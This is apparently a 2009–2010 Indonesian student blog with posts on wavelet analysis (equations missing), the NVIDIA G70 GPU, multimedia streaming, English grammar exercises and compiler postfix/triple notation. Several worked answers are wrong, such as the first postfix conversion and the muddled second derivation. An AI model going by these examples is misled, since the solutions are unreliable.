Nassava’s Blog

May 25, 2010

A Practical Guide to Wavelet Analysis

Filed under: Uncategorized — nassava @ 12:52 pm

This section describes the method of wavelet analysis, includes a discussion of different wavelet functions, and gives details for the analysis of the wavelet power spectrum. Results in this section are adapted to discrete notation from the continuous formulas given in Daubechies (1990). Practical details in applying wavelet analysis are taken from Farge (1992), Weng and Lau (1994), and Meyers et al. (1993). Each section is illustrated with examples using the Niño3 SST

FIG. 2. Four different wavelet bases, from Table 1. The plots on the left give the real part (solid) and imaginary part (dashed) for the wavelets in the time domain. The plots on the right give the corresponding wavelets in the frequency domain. For plotting purposes, the scale was chosen to be s = 10δt. (a) Morlet, (b) Paul (m = 4), (c) Mexican hat (DOG m = 2), and (d) DOG (m = 6).

a. Windowed Fourier transform
The WFT represents one analysis tool for extracting local-frequency information from a signal. The Fourier transform is performed on a sliding segment of length T from a time series of time step δt and total length Nδt, thus returning frequencies from T−1 to (2δt)−1 at each time step. The segments can be windowed with an arbitrary function such as a boxcar (no smoothing) or a Gaussian window (Kaiser 1994). As discussed by Kaiser (1994), the WFT represents an inaccurate and inefficient method of time–frequency localization, as it imposes a scale or “response interval” T into the analysis. The inaccuracy arises from the aliasing of high- and low-frequency components that do not fall within the frequency range of the window. The inefficiency comes from the T/(2δt) frequencies, which must be analyzed at each time step, regardless of the window size or the dominant frequencies present. In addition, several window lengths must usually be analyzed to determine the most appropriate choice. For analyses where a predetermined scaling may not be appropriate because of a wide range of dominant frequencies, a method of time–frequency localization that is scale independent, such as wavelet analysis, should be employed.

b. Wavelet transform
The wavelet transform can be used to analyze time series that contain nonstationary power at many different frequencies (Daubechies 1990). Assume that one has a time series, xn, with equal time spacing δt and n = 0 … N − 1. Also assume that one has a wavelet function, ψ0(η), that depends on a nondimensional “time” parameter η. To be “admissible” as a wavelet, this function must have zero mean and be localized in both time and frequency space (Farge 1992). An example is the Morlet wavelet, consisting of a plane wave modulated by a Gaussian:

where ω0 is the nondimensional frequency, here taken to be 6 to satisfy the admissibility condition (Farge 1992). This wavelet is shown in Fig. 2a. The term “wavelet function” is used generically to refer to either orthogonal or nonorthogonal wavelets. The term “wavelet basis” refers only to an orthogonal set of functions. The use of an orthogonal basis implies the use of the discrete wavelet transform, while a nonorthogonal wavelet function can be used with either the discrete or the continuous wavelet transform (Farge 1992). In this paper, only the continuous transform is used, although all of the results for significance testing, smoothing in time and scale, and cross wavelets are applicable to the discrete wavelet transform. The continuous wavelet transform of a discrete sequence xn is defined as the convolution of xn with a scaled and translated version of ψ0(η):

where the (*) indicates the complex conjugate. By varying the wavelet scale s and translating along the localized time index n, one can construct a picture showing both the amplitude of any features versus the scale and how this amplitude varies with time. The subscript 0 on ψ has been dropped to indicate that this ψ has also been normalized (see next section). Although it is possible to calculate the wavelet transform using (2), it is considerably faster to do the calculations in Fourier space. To approximate the continuous wavelet transform, the convolution (2) should be done N times for each scale, where N is the number of points in the time series (Kaiser 1994). (The choice of doing all N convolutions is arbitrary, and one could choose a smaller number, say by skipping every other point in n.) By choosing N points, the convolution theorem allows us do all N convolutions simultaneously in Fourier space using a discrete Fourier transform (DFT). The DFT of xn is

where k = 0 … N − 1 is the frequency index. In the continuous limit, the Fourier transform of a function ψ(t/s) is given by ψ$ (sω). By the convolution theorem, the wavelet transform is the inverse Fourier transform of the product:

where the angular frequency is defined as :

Using (4) and a standard Fourier transform routine, one can calculate the continuous wavelet transform (for a given s) at all n simultaneously and efficiently.
Tittle : A Practical Guide To Wavelet Analysis
Author : Christopher Torrence and Gilbert P. Compo

Kesimpulan :

Dari artikel yang berada pada diatas Transformasi wavelet sebagai fungsi matematis untuk merepresentasikan data atau fungsi sebagai alternatif transformasi-transformasi matematika yang lahir sebelumnya untuk menangani masalah resolusi. Sebuah wavelet merupakan gelombang singkat (small wave) yang energinya terkonsentrasi pada suatu selang waktu untuk memberikan kemampuan analisis transien, ketidakstasioneran, atau fenomena berubah terhadap waktu (time varying). Karakteristik dari wavelet antara lain adalah berosilasi singkat, translasi (pergeseran), dan dilatasi (skala). Berikut ini akan diperlihatkan gambar dari sebuah sinyal sinus dan sinyal wavelet. Nilai skala kecil (compressed wavelet) menyebabkan perubahan koefisien yang menyatakan frekuensi tinggi. Nilai skala besar (stretched wavelet) menyebabkan perubahan koefisien yang menyatakan frekuensi rendah. Tahap pertama analisis wavelet adalah menentukan tipe wavelet atau mother wavelet yang akan digunakan. Hal ini perlu dilakukan karena fungsi wavelet sangat bervariasi. Beberapa contoh mother wavelet adalah Haar, Daubechies, Biortoghonal, Coiflets, Symlets, Morlet, Mexican Hat, dan Meyer. Setelah pemilihan mother wavelet, tahap selanjutnya adalah membentuk basis wavelet yang akan digunakan untuk mentransformasikan sinyal. Transformasi wavelet memiliki kemampuan untuk menganalisis suatu data dalam domain waktu dan domain frekuensi secara simultan. Analisis data pada transformasi wavelet dilakukan dengan mendekomposisikan suatu sinyal ke dalam komponen komponen frekuensi yang berbeda-beda dan selanjutnya masing-masing komponen frekuensi tersebut dapat dianalisis sesuai dengan skala resolusinya atau level dekomposisinya. Hal ini seperti proses filtering, dimana sinyal dalam domain waktu dilewatkan ke dalam High Pass Filter dan Low Pass Filter untuk memisahkan komponen frekuensi tinggi dan frekuensi rendah. Wavelet merupakan sebuah fungsi variable real t, diberi notasi ψt dalam ruang fungsi L2(R). Fungsi ini dihasilkan oleh parameter dilatasi dan translasi, yang dinyatakan dalam persamaan :

Pada dasarnya, transformasi wavelet dapat dibedakan menjadi dua tipe berdasarkan nilai parameter translasi dan dilatasinya, yaitu Continue Wavelet Transform (CWT) dan Discrete Wavelet Transform (DWT). Transformasi wavelet kontinu ditentukan oleh nilai parameter dilatasi (a) dan translasi (b) yang bervariasi secara kontinu, dimana a,b Є R dan a ≠ 0. Continue Wavelet Transform (CWT) menganalisis sinyal dengan perubahan skala pada window yang dianalisis, pergeseran window dalam waktu dan perkalian sinyal serta mengintegral semuanya sepanjang waktu.Fungsi wavelet diperoleh dari penggeseran (translasi) dan pengubahan skala, yang dinyatakan dengan dua parameter translasi dan parameter skala. Ekspansi fungsi dalam transformasi wavelet tersebut tergantung pada sepasang parameter yang membuat persamaan menjadi :

di mana indeks integer j dan k masing-masing berkaitan dengan parameter skala dan translasi. y j,k(t) adalah fungsi ekspansi wavelet yang merupakan suatu basis ortogonal. Wavelet terdiri atas banyak jenis, salah satunya dikembangkan oleh Daubechies, mereka mempunyai sifat yang sama yaitu; Semua yang disebut sistem wavelet generasi pertama dibangkitkan dari suatu fungsi skala (scaling function) tunggal atau wavelet dengan skala dan translasi sederhana. Energi sinyal terekspansi secara baik oleh beberapa koefisien aj,k. Perhitungan koefisien transformasi wavelet yang dilaksanakan lebih efisien dibanding FFT, yang dinyatakan dengan kompleksitas komputasi antara O(N) dan O(Nlog(N)). Semua sistem wavelet dibangkitkan dari fungsi skala atau wavelet tunggal dengan translasi sederhana. Secara umum wavelet dibangkitkan dari suatu fungsi (pembangkit wavelet atau ibu wavelet) y (t) melalui di mana m ¹ 0 sebagai parameter dilasi dan adalah parameter translasi. Fungsi yang paling populer digunakan saat ini adalah dengan harga pada tetapan ao = 2 dan bo = 1;

Pemanfaatan wavelet Seperti telah dikemukakan pada pendahuluan Transformasi Wavelet dapatdigunakan untuk menyelesaikan masalah dalam berbagai macam lapangan ilmu. Dalam pengolahan sinyal transformasi ini dapat dikombinasikan dengan FFT dan mempercepat perhitungan tersebut sehingga mengurangi kekomplekan komputasi (computation complexity) menjadi O(N). Diantara banyak pemanfaatan Transformasi Wavelet ada tiga macam yang akan dikemukakan berkaitan dengan pengolahan sinyal dan citra penginderaan jauh, yaitu; pengurangan noise (denoising), dan kompresi.
Jadi dapat disimpulkan bahwa Dengan menggunakan transformasi wavelet dapat dilakukan penghilangan derau (noise), frekuensi yang tidak dikehendaki. Lalu kuran komponen citra semakin tinggi tingkat transformasinya semakin mengecil sehingga kalau direkonstruksi ukuran hasilnya pun sama. Namun dalam percobaan yang dilakukan, belum dapat menunjukkan filter hasil transformasi wavelet yang paling baik. masih akan dicoba dengan fungsi wavelet yang lain.

March 14, 2010

Processor Superscalar (Rahasia Dibalik NVDIA G70)

Filed under: Teknologi Informasi — nassava @ 3:05 pm

Sebelum saya masuk dalam pokok pembahasan ini terlebih dahulu, pertama-tama saya akan menjelaskan pengertian superscalar terlebih dahulu yang saya dapatkan dari http://id.wikipedia.org/wiki/Superskalar .

Prosesor Superskalar adalah istilah bagi prosesor yang mampu melakukan banyak instruksi setiap siklusnya, dengan menggunakan sebuah teknik yang disebut dengan pipelining.

Misalkan, instruksi

Add R1, R2, R3

yang akan menambahkan isi register R1 dan R2 dan menempatkan jumlahnya dalam register R3. Isi dari register R1 dan R2 mula-mula akan ditransfer ke Unit aritmetika dan logika. Setelah operasi penambahan dilakukan, hasil penjumlahan tersebut akan ditransfer ke register R3. Prosesor dapat membaca instruksi selanjutnya dari memori, sementara operasi penambahan dilakukan. Kemudian jika instruksi tersebut juga menggunakan ALU, operand-nya dapat ditransfer ke input ALU pada waktu yang sama dengan hasil instruksi Add ditransfer ke register R3.

Pada kasus ideal, jika semua instruksi ditumpuk ke derajat yang maksimum yang mungkin dilakukan, maka eksekusi dilanjutnkan pada kecepatan penyelesaian satu instruksi dalam tiap siklus detak prosesor. Instruksi individual, mungkin masih memerlukan beberapa siklus detak agar selesai dilakukan. Tetapi untuk tujuan perhitungan, prosesor superskalar umumnya mampu melakukannya dalam tiap siklus.

Prosesor superskalar umumnya menggunakan beberapa unit fungsional, menciptakan jalur paralel di mana berbagai instruksi yang berbeda dapat dieksekusi secara paralel. Dengan pengaturan tersebut, maka dimungkinkan untuk memulai eksekusi beberapa instruksi secara paralel tiap siklus detak. Tentu saja, eksekusi paralel harus mempertahankan kebenaran logikan program, sehingga hasil yang diperoleh harus sama dengan hasil dari eksekusi secara serial.

Dari pengertian diatas, saya mencoba menjelaskan mengenai perkembangan prosessor superscalar yang terbaru yaitu NVDIA G70. pada pembahasan ini saya akan mencoba mengungkap rahasia yang menjadi keunggulan pada prosesor ini sehingga graphic prosessor ini dikategorikan sebagai graphic prosessor tercepat. Mau tahu rahasianya ??? check this out…

Graphics Processing Unit terbaru dari NVIDIA, G70 atau yang lebih dikenal sebagai GeForce 7800, merupakan chip graphics processor terkompleks yang pernah dibuat. G70 memiliki transistor sejumlah 302 juta yang diproses menggunakan proses fabrikasi 110nm (oleh TMSC). Sebagai perbandingan, jumlah transistor yang dimilikinya lebih banyak dibandingkan jumlah transistor pada prosesor desktop terbaru AMD X2 (233 juta) dan Intel Pentium D (230 juta).

Bentuk dari card-nya (reference board) lebih panjang daripada seri GeForce 6800 dan hanya menggunakan solusi pendingin satu slot. Dibandingkan seri GeForce 6800, suara yang dihasilkan oleh kipas pendingin card ini sedikit lebih tenang. GPU-nya berjalan pada kecepatan 430 MHz, sedangkan memorinya berjalan pada kecepatan 1,2 GHz DDR (100 MHz lebih tinggi dibandingkan saudara tuanya, GeForce 6800 Ultra). Untuk saat ini, GeForce 7800 GTX hanya tersedia untuk PCI-Express (PCIe). NVIDIA sendiri belum meperlihatkan indikasi untuk mengeluarkan versi AGP-nya dalam waktu dekat.

Lebih banyak pipa: Paralel adalah kuncinya!

Kecepatan proses paralel GPU-GPU modern saat ini berkembang sangat cepat. Bahkan, kemampuan proses paralel GPU saat ini melebihi kemampuan proses paralel prosesor untuk dekstop yang ada di pasaran. Hal itu tidak lain karena proses paralel merupakan salah satu kunci penting untuk mendapatkan kinerja 3D (terutama untuk game) yang baik.


302 juta transistor: Bahkan AMD X2 dan Pentium D pun kalah jumlahnya.

Proses paralel sangat dibutuhkan karena GPU harus memproses (dan menampilkan di layar) pixel dan vertek dalam jumlah yang sangat besar. Sebuah pixel (elemen gambar) adalah komponen terkecil dari sebuah gambar di layar biasanya berbentuk titik yang berwarna. Jika Anda menampilkan resolusi 1600x 1200 di layar, GPU harus memproses dan menampilkan 1.920.000 pixel. Bayangkan berapa juta pixel yang harus diproses jika Anda sedang bermain 3D, yang dalam satu detik bisa terjadi beberapa kali perubahan gambar. Ya, benar! Jawabannya pasti banyak sekali pixel yang harus diproses dan ditampilkan.

Kemampuan proses paralel yang luar biasa dari sebuah GPU tidak lain karena sejak awal GPU dirancang menggunakan arsitektur superscalar processor. Arsitektur ini memperbolehkan pengimplementasian “multiple instruction processing pipeline”. Dengan begitu GPU dapat memproses beberapa instruksi, seperti vertex transformation dan pixel shading, dalam satu waktu. Sebagai contoh, NVIDIA NV30 hanya memiliki 4 pipeline, sedangkan NVIDIA mempersenjatai NV40 dengan 16 pipeline. Sekarang pada G70, NVIDIA kembali menambahkan jumlah pipeline yang dimilikinya menjadi 24 pipeline (meningkat 50% dari NV40).


G70: Gambar ini menunjukkan arsitektur dari G70, meskipun kelihatannya mirip dengan NV40, tetapi di dalamnya terdapat banyak peningkatan tersembunyi.

Dibandingkan pipeline yang dimiliki oleh NV30, pipeline pada G70 lebih lebar sehingga mampu memproses lebih banyak pixel dalam satu clock. Pipeline pada G70
juga lebih unggul dibandingkan pipeline pada NV40. Salah satu keunggulannya terletak pada efisiensi daya/power efficiency. Beberapa di antara Anda mungkin bertanya-tanya, “Mengapa tidak 32 pipeline?”. Menurut rumor yang beredar, salah satu alasan “mengapa tidak 32 pipeline” karena proses produksi chip ini masih menggunakan teknologi 110nm. Sebuah GPU yang memiliki 32 pipeline akan sedikit kebesaran jika masih diproduksi menggunakan teknologi 110nm karena jumlah transistor yang ditanam juga akan bertambah banyak. Selain itu, tingkat keberhasilan (yield) produksi GPU juga
mungkin menjadi salah satu pertimbangan utamanya. Hal ini dapat dilihat dari 12 bulan terakhir. Kala itu GPU terbaik NVIDIA, GeForce 6800 Ultra, hanya beredar dalam jumlah yang sangat terbatas akibat rendahnya tingkat keberhasilan produksi pada saat itu. NVIDIA tentu lebih memilih memproduksi chip dengan 24 pipeline dalam skala yang lebih besar daripada memproduksi chip dengan 32 pipeline, tapi dalam skala terbatas.

Vertex Shader: Tidak banyak berubah

Vertex processing unit (VPU) pada G70 tidak berbeda jauh (bahkan dapat dibilang sama) dari VPU pada NV40. Hanya saja, NVIDIA menambahkan jumlah VPU-nya menjadi 8 unit (NV40 hanya memiliki 6 unit). Meskipun masalah utama dari GPU saat ini adalah limitasi pixel processing, tetapi vertex processing juga tetap menjadi elemen penting yang tidak dapat diabaikan. Masing-masing dari VPU yang dimiliki oleh G70 terdiri dari sebuah FP32 (32-bit floating point)-scalar, FP32-vector, dan sebuah vertex fetch processor. Kedelapan VPU tersebut juga mampu meneruskan instruksi yang masuk kepada prosesor skalar dan vertex secara bersamaan dalam satu clock.

Pixel Shader: Lebih bertenaga daripada NV40

Bila dilihat sepintas, pixel pipeline pada G70 kurang lebih sama dengan pixel pipeline pada NV40. Namun sebenarnya, NVIDIA melakukan beberapa peningkatan pada arstitektur pixel pipeline di G70. Sebelum kita melihat lebih jauh peningkatan-peningkatan yang ada, mari kita lihat terlebih dahulu desain dari pixel pipeline unit NV40. Pertama, setiap pixel dari 16 pixel pipeline yang dimiliki oleh NV40 terdiri dari dua FP32-vector ALU (unit yang menangani kalkulasi matematika untuk proses shader) dan sebuah texture fetch processor. Desain ini memungkinkan dua instruksi matematika
diproses secara bersamaan atau satu instruksi matematika dan satu lagi texture address diproses secara bersamaan. Namun meskipun begitu, hanya satu unit saja dari kedua FP32-vector ALU tersebut yang mampu menangani operasi Multiply-Add (MADD).

Setelah menganalisis kerja pixel shader lebih dari 1300 kali, NVIDIA menemukan bahwa MADD adalah fungsi matematika yang paling banyak digunakan sekarang ini. Hal ini membuat NVIDIA akhirnya menambahkan fungsi MADD juga ke dalam unit kedua FP32-vector ALU pada G70.Halini berarti, sekarang kedua ALU milik G70 dapat melakukan operasi MADD, sehingga akan berdampak pada peningkatan pemrosesan shader. Improvisasi ini membuat G70 dapat menangani operasi 8 FP MADD per pipa dalam satu clock, dua kali lipat lebih banyak daripada yang dapat ditangani oleh NV40. Jadi secara teori, G70 memiliki pixel shader yang lebih baik dibandingkan NV40. Tentu saja, hal ini membuat G70 memiliki kemampuan pemrosesan shader yang jauh lebih baik bila dibandingkandengan GPU-GPU yang lama. Peningkatan ini sesuai dengan apa yang disebut NVIDIA sebagai fokus desain aksitektur kedua (second architectural design focus) untuk G70, yaitu meningkatkan (shader arithmetic density).

Memori: Peningkatan bandwidth = peningkatan kinerja?

Selain meningkatkan kecepatan memorinya, arsitektur memori pada G70 tidak berbeda dibandingkan NV40. Graphics card ini juga menggunakan memori interface 256-bit yang terdiri dari 4×64-bit(crossbar configuration). Keputusan NVIDIA untuk tidak melakukan perubahan yang signifikan pada arsitektur memori G70 karena mengikuti perkembangan game-game terbaru saat ini. Dulu, kebanyakan game yang beredar tidak terlalu fokus kepada shader dan lebih mementingkan kualitas tekstur gambar untuk menghasilkan efek dan pencahayaan yang menarik. Namun sekarang ini,game-game lebih banyak didesain untuk mengoptimalkan kerja algoritma yang ada di dalam GPU ketika ingin merender efek dan pencahayaan. Untuk menciptakan gambar yang realistik, para developer game sekarang banyak yang beralih dari multitexture mapping ke pixel shading, yaitu teknik yang menggunakan banyak algoritma (fungsi) dari graphics card untuk menghasilkan efek dan pencahayaan yang ditampilkan. Shader memang jauh lebih flexible terutama karena mereka dapat diprogram (programmable).

Vertex Shader: Tidak banyak berbeda dibandingkan NV40, hanya jumlahnya saja yang bertambah dua unit.


G70 pixel shading: Disinilah sumber utama kekuatan dari G70.
Mengolah tekstur membutuhkan bandwidth yang besar, sedangkan mengolah shader membutuhkan kemampuan komputasi dan pixel pipeline lebih tinggi dari GPU. Oleh sebab itu, sekarang ini meningkatkan bandwidth memori tidak memberikan peningkatan kinerja yang signifikan karena limitasi yang ada sekarang terletak pada kemampuan pemrosesan shader, bukan pada bandwidth memori.

Transparent AA: Ucapkan selamat tinggal pada jaggies di daun dan pintu!

Ketika Anda tidak ingin lagi melihat jaggies ketika bermain game, multisampling adalah metode anti-aliasing yang paling banyak digunakan saat ini karena algoritma yang digunakannya menghasilkan kualitas gambar dan penalti (penurunan) kinerja yang seimbang. Metode lainnya yang juga sering digunakan adalah supersampling. Namun, sayangnya, meskipun kualitas gambar yang dihasilkan sangat baik, penalti kinerja yang Anda dapat juga sangat besar, terutama ketika digunakan pada resolusi yang tinggi.

Meskipun memiliki keunggulan dari sisi pinalti kinerja atas super sampling, multisampling memiliki limitasi yang sangat mengganggu. Teknik ini hanya dapat menghilangkan jaggies di ujung polygons atau geometri. Mudahnya, multisampling tidak mampu menghilangkan aliasing dari tekstur yang transparan (tekstur yang berada di antara sebuah polygon/tekstur yang menggunakan alpha channel). Masalah ini dapat terlihat dengan jelas pada objek yang tipis seperti daun, cabang pohon, rumput, dan pagar. Untuk mengatasi masalah ini, NVIDIA mengenalkan dua metode antialiasing barunya yang dinamakan transparency adaptive supersampling dan transparency adaptive multisampling. Jika menggunakan metode ini, transparan tekstur dapat dihilangkan aliasing-nya, baik dengan teknik supersampling atau multisampling.

Majalah CHIP telah menguji seri NV40, yaitu GeForce 6800 GT dan GeForce 6800 Ultra. Kesimpulan pengujian, bahwa meskipun dalam pengujian menggunakan prosesor yang tergolong cepat saat ini, masih sering terjadi limitasi pada CPU di beberapa kasus. Hal itu bahkan terjadi ketika pengujian dilakukan dengan sebuah single 7800-GTX. Jadi, apabila Anda ingin membeli 7800GTX, pastikan bahwa sistem Anda menggunakan prosesor yang tercepat. Bila Anda menjalankan 7800GTX pada sistem yang menggunakan prosesor lambat, kinerjanya tidak akan berbeda jauh dari sebuah 6800 biasa. Intinya, semakin cepat prosesor Anda, kinerja yang dihasilkan oleh 7800GTX juga akan semakin tinggi. GeForce 7800GTX (G70) memang layak disebut sebagai “monster” yang memiliki kemampuan pemrosesan shader sangat baik, terutama kemampuan pixel shadingnya. Tidak salah jika kami menyebutnya sebagai graphics card tercepat saat ini. NVIDIA kali ini tidak menyia-nyiakan kesempatannya untuk merebut tahta tertinggi graphics card tercepat.

March 5, 2010

Tugas Pemrograman Multimedia

Filed under: Teknologi Informasi — nassava @ 9:04 am

Literatur tentang Pemrograman Multimedia adalah sebagai berikut :

  1. Sumber berupa Textbook

  1. Sumber berupa slide presentasi

URL :

  1. Sumber berupa artikel di jurnal / proseding

URL :

  1. Contoh Kasus dan Solusi tentang Pemrograman Multimedia

Masalah Streaming Multimedia

I. :

1. Bandwidth

Bandwidth sangat berpengaruh terhadap kualitas presentasi suatu data stream. Di samping kondisi jaringan juga mempengaruhi bandwidth, hal yang perlu diperhatikan adalah ukuran data stream harus sesuai dengan kapasitas bandwidth jaringan. Untuk mengatasinya digunakan kompresi data dan penggunaan buffer.

2. Sinkronisasi dan delay

Agar media yang berbeda sampai dan dipresentasikan pada user seperti aslinya, maka media tersebut harus tersinkronisasikan sesuai dengan timeline presentasi tersebut dan delay seminimal mungkin. Adanya kerugian sinkronisasi dan delay dapat disebabkan oleh kondisi jaringan yang buruk, sehingga mengakibatkan timeline presentasi menjadi kacau.

SOLUSI

Dengan menerapkan teknologi 3G diharapkan mampu menyelenggarakan video streaming dengan kualitas yang baik sekaligus menjadi alternatif untuk melakukan berbagai macam aplikasi seperti TV on demand, live TV, maupun belajar jarak jauh (e-learning).

II.Mungkin beberapa orng memiliki kendala dengan memory pada hp yang terbatas. Sehingga kita tidak bias memasukan file mp3, video  and gambar dengan banyak. Dulunya saya termasuk orang yg mengalami kendala tersebut. Tapi ada beberapa software yang dapat membantu saya sehingga saya dapat memsukan mp3, video and gambar dengan banyak. Software-software tersebut antara lain adalah :

SOLUSI

total video converter : software ini saya gunakan untuk mengubah format video yg awalnya .avi menjadi .3gp. Karena handphone-handphone tertntu hnya support terhadap video .3gp. makanya saya gunakan software ini untuk mengkonvertnya dari .avi menjadi .3gp agar videonya  dpt diputar dri hp saya.

November 8, 2009

Review My English lessons about Grammar

Filed under: Uncategorized — nassava @ 11:13 am

In this post, I will do about review my task with mini-test or question..

Directions..

Each question on this mini-test consist of a sentence in which four words or phrases are underlined. Then, we are to identify the one underlined word or phrase that would not be acceptable in standard written English.

EXERCISE

  1. Buying clothes are often a very time-consuming practice because those clothes that person likes are rarely the ones that fit him or her. Answer : are => is
  2. These televisions are all too expensive for we to buy at this time, but perhaps we will return later. Answer : we =>us.
  3. After she had bought himself a new automobile, she hold her bicycle. Answer : himself => herself.
  4. After George has returned to his househe was reading a book. Answer : we reading => read
  5. The food that Mark is cooking in the kitchen is smelling delicious. Answer : is smelling => smells.
  6. After John eaten dinner, he wrote several letters and went to bed. Answer : eaten => had eaten.
  7. Pete had already saw that musical before he read the reviews about it. Answer : already saw =>  seen.
  8. My cousin attends an University in the Midwest which specializes in astronomy. Answer : an => a.
  9. The work performed by these officers are not worth our paying them any longer. Answer : are => is.

10.  The president went fishinafter he has finished with the conferences. Answer : has finished => had finished.

PRONOUNS

Filed under: Uncategorized — nassava @ 11:05 am

In this post, I will discuss about Pronouns..

There are five form of pronouns in English :

¤ Subject Pronouns : subject pronouns occur in the subject position of a sentence or after the verb be.

¤ Complement Pronouns : complements pronouns occur in complement position or after preposition unless the preposition introduces a new clause.

¤ Possessive adjective : possessive adjective are not the same as possessive pronoun.

¤ Possessive pronouns : these pronouns cannot precede a noun. They are pronouns and thus replace the noun. The noun is understood from the context and is not repeated.

¤ Reflexive pronouns : these pronouns usually follow the verb and indicate that the subject is both giving and receiving the action.

EXERCISE :

  1. I go to school with (he/him) every day.
  2. I see (she/her).
  3. She speaks to (we/us/ourselves) every morning.
  4. Isn’t (she/her) a nice Person ?
  5. (he/him) is going to New York on vacation.
  6. (she/her) and john gave the money to the boy.
  7. (yours/your) record is scratched and (my/mine) is too.
  8. I hurt (my/mine/the) leg.
  9. John bought (him self/her self/his self) a new coat.

10.  (we/us) girls are going camping over the weekend.

11.  Mr. Jones cut (his self/him self) shaving.

12.  We like (our/ours) new car very much.

13.  The dog bit (she/her) on the leg.

14.  John (he/himself) went to the meeting.

15.  You’ll stick (you/your/yourself) with the pins if you are not carefully.

16.  Mary and (/ Me) would rather go to the movie.

17.  Every one has town do (their/his) own research.

18.  Just between you and (I /me), I don’t like this food.

19.  Monday is a holiday for (we / us).

20.  (her / hers) car doesn’t go as far as (our/ours).

October 28, 2009

Verbs that are always followed by the infinitive

Filed under: Uncategorized — nassava @ 1:17 pm

–  Verbs that are always followed by the infinitive :

  • Agree
  • Desire
  • Intend
  • Prepare
  • Tend
  • Attempt
  • Fail
  • Learn
  • Pretend
  • Try
  • Claim
  • Forget
  • Need
  • Refuse
  • Want
  • Decide
  • Hesitate
  • Offer
  • Seem
  • Wish
  • Demand
  • Hope
  • Plan
  • Strive

– Verbs that are always followed by the gerund

  • Admit
  • Delay
  • Miss
  • Regret
  • Risk
  • Appreciate
  • Deny
  • Postpone
  • Report
  • Suggest
  • Avoid
  • Enjoy
  • Practice
  • Resent
  • Cant’ help
  • Finish
  • Quit
  • Resist
  • Consider
  • Mind
  • Recall
  • Resume

– The following verbs can be followed by either the infinitive of the gerund with no change in meaning :

  • Begin
  • Like
  • Can’t stead
  • Love
  • Continue
  • Prepare
  • Have
  • Start
  • Drill

– Verbs + prepositions followed by the gerund :

  • Approve of
  • Give up
  • Rely on
  • Worry about
  • Think of
  • Be better of
  • Insist on
  • Succeed in
  • Count on
  • Object to
  • Keep on
  • Think about
  • Depend on
  • Put off
  • Look forward to

–  Adjectives + prepositions followed by the gerund :

  • Accustomed to
  • Intent to
  • Afraid of
  • Interested in
  • Capable of
  • Successful
  • Fond of
  • Tired of

– Adjectives followed by the infinitive :

  • Anxious
  • Eager
  • Pleased
  • Common
  • Dangerous
  • Good
  • Ready
  • Difficult
  • Hard
  • Strange

–  Some verbs can be followed by either :

  • Stop
  • Remember
  • Forget

(more…)

October 26, 2009

LA TEKOM

Filed under: Uncategorized — nassava @ 3:01 pm

PENJELASAN

ANALISIS SEMANTIK

Analisis Semantik adalah proses setelah melewati proses scanning dan parsing. Pada tahap ini dilakukan pengecekan pada struktur akhir yang telah diperoleh dan diperiksa kesesuaiannya dengan komponen program yang ada. Secara global, fungsi dari semantic analyzer adalah untuk menentukan makna dari serangkaian instruksi yang terdapat dalam program sumber.

Contoh :          A := (A + B)*(C + D)

maka penganalisis semantik harus mampu menentukan aksi apa yang akan dilakukan oleh operator-operator tersebut. Dalam sebuah proses kompilasi, andaikata parser menjumpai ekspresi seperti diatas, parser hanya akan mengenali simbol-simbol ‘:=’ , ‘+’ , dan ‘*’.

Fungsi ini terkait dengan tabel simbol. Pengecekan yang dilakukan oleh analisis semantik adalah sebagai berikut :

a)      Memeriksa keberlakuan nama-nama meliputi pemeriksaan berikut.

  • Duplikasi : pada tahap ini dilakukan pengecekan apakah sebuah nama terjadi pendefinisian lebih dari dua kali. Pengecekan dilakukan pada bagian pengelola blok.
  • Terdefinisi : Melakukan pengecekan apakah sebuah nama yang dipakai pada tubuh program sudah terdefinisi atau belum. Pengecekan dilakukan pada semua tempat kecuali blok.

b)      Memeriksa tipe. Melakukan pemeriksaan terhadap kesesuaian tipe dalam statement-statement yang ada. Misalkan bila terdapat suatu operasi, diperiksa tipe operand. Contohnya bila ekspresi yang mengikuti instruksi IF berarti tipenya boolean, akan diperiksa tipe identifier dan tipe ekspresi. Bila ada operasi antara dua operand, maka tipe operand pertama harus bisa dioperasikan dengan operand kedua.

Analisa semantik sering juga digabungkan pada pembangkitan kode antara yang menghasilkan Output intermediate code, yang nantinya akan digunakan pada proses kompilasi berikutnya.

NOTASI POSTFIX

Sintaks notasi Postfix :

<operan><operan><operator>

Misalkan ekspresi :

(a + b)*(c + d)

kalau kita nyatakan dalam postfix :

ab + cd + *

Contoh 1 :  A = A + B * C / D – ( F + G )

  • Pada grammar atau kalimat diatas, dapat dijabarkan hasilnya untuk notasi postfix-nya yaitu pertama-tama kita akan merubah ekspresi dimana pada (B*C menjadi BC*) lalu pada ekspresi (BC* dengan /D menjadi BC*D/) kemudian ekspresi (F+G menjadi FG+) yang kemudian hasil dari (A+BC*D/ menjadi ABC*D/) lalu hasil dari ekspresi sebelumnya ((A+BC*/D) –(FG+) menjadi ABC*D/FG++-))) lalu pada ekspresi akhir menjadi : AABC*D/FG++-=.

Contoh 2 : ( A * B ) + C – D / ( F – G )

Maka notasi postfix dari kalimat diatas adalah :

  1. 1. Pertama kita akan menjabarkan (AB*) lalu (FG-) maka akan menjadi : AB*+C-D/FG-
  2. 2. Kemudian kita akan menjabarkan (D/FG- menjadi FG-D/) maka menjadi : AB*+C-FG-D/
  3. 3. Setelah itu kita akan menjabarkan (AB*+C menjadi AB*C+) maka menjadi : AB*C+-FG-D/

  1. 4. Lalu kita akan melanjutkan untuk menjabarkan (C+FG-D/- menjadi CDFG-/+- ) maka menjadi : AB*CDFG-/+-
  • Cara diatas, lakukan operasi terlebih dahulu kepada operan yang pertama dilakukan, yaitu (A = B) kemudian lakukan operasi kepada operand selanjutnya hingga proses mencapai atau mendapatkan hasil : AB*CDFG-/+-

TRIPLE NOTATION

Notasi tripel memiliki format sebagai berikut :

<operator><operan><operan>

Contoh soal 1 :

A := D * C + B / E

Kemudian kita dapat memberikan kode antara tripel yang diantaranya :

  1. *, D, C
  2. /, B, E
  3. +, (1), (2)
  4. :=, A, (3)

Contoh soal 2 :

A : = ( A + B ) * ( C + D)

Kemudian kita akan memberikan Triple notation :

1.   +,  A, B

  1. +, C, D
  2. *, (1), (2)
  3. :=, A, (3)

Contoh soal 3 :

A:= B+C*D/E

F:= C*D

Kemudian kita akan memberikan Trile Notation sebagai berikut :

1. *, C, D

2. /, (1), E

3. +, B, (2)

4. :=, A, (3)

5. :=, F, (1)

List Eksekusinya :

1. 1

2. 2

3. 3

4. 4

5. 1

6. 5

QUADRUPLES NOTATION

